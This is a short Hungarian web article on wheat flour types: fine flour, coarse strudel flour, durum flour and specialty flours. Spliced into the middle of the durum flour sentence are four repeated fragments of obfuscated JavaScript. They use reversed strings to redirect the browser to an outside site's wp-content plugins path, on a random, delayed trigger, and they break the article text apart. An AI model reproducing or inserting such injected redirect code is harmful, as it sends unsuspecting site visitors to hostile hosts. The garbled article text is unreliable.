Búzaliszt fajtái… A finomliszt (simaliszt): apró szemcséjű, világos színű, csekély korpatartalmú (a háztartásokban általában ez van jelen) sütemények, élesztős tészták, omlós tészták, felvertek, kekszek, ostyák, galuskák előállítására alkalmas. A rétesliszt (fogós liszt): durvább őrlésű, érdesebb tapintású nagyobb szemcseméretű őrlemény, ezekben a sikér kevésbé aprózódik (F (fogós) – jó sikérminőség, nagyobb szemcsenagyság; FF (kétszerfogós) – érdesebb tapintás, nagyobb szemcseméret) száraztészták, vajas tészták, rétestészták előállítására alkalmas A durumliszt: durumbúzából (keménybúzából) készül, sikérképző fehérjetartalma nagy (toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tojás hozzáadása nélkül is kitűnő minőségű tészta készíthető belőle) legjobb tésztaipari alapanyag Céllisztek: meghatározott termékek előállítására gyártják pl. kenyérliszt , teljes kiőrlésű búzaliszt , tésztaliszt (magas a sikértartalma)…
A cikk folytatódik: http://marmalade.co.hu/mozaik/2018/01/10/liszt-kisokos-ii-.html
- Hirdetés -
